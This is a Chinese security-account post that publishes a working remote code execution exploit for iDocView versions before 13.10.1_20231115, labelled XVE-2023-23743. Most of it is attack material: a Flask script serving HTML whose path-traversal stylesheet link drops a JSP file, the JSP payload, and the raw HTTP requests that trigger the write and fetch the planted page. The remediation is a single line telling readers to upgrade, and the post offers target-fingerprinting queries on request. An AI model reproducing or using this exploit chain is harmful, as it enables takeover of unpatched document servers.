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现在只对常读和星标的公众号才展示大图推送,建议大家把阿无安全“设为星标”,否则可能看不到了!
0x01 前言
0x02 漏洞影响
影响版本
iDocView < 13.10.1_20231115
0x03 漏洞利用
登录界面
直接利用网上已公布的脚本进行复现
from flask import Flask
app = Flask(__name__)
def index():
return """<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>title</title>
<link rel="stylesheet" href="..\..\..\docview\aaaa.jsp">
</head>
<body>
</body>
</html>"""
def jsp():
return '''<%
out.print("123");
%>'''
if __name__ == '__main__':
app.run(host="0.0.0.0", port=39999)
EXP:
GET /html/2word?url=http://10.0.85.2:39999/index.html HTTP/1.1
Host: 127.0.0.1:7070
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
success!
GET /aaaa.jsp HTTP/1.1
Host: 127.0.0.1:7070
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
0x04 修复方案
请升级最新版本。
0x05 下载地址
回复【idoc】获取指纹语法
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原文始发于微信公众号(阿无安全):0day | XVE-2023-23743 RCE漏洞(附EXP)
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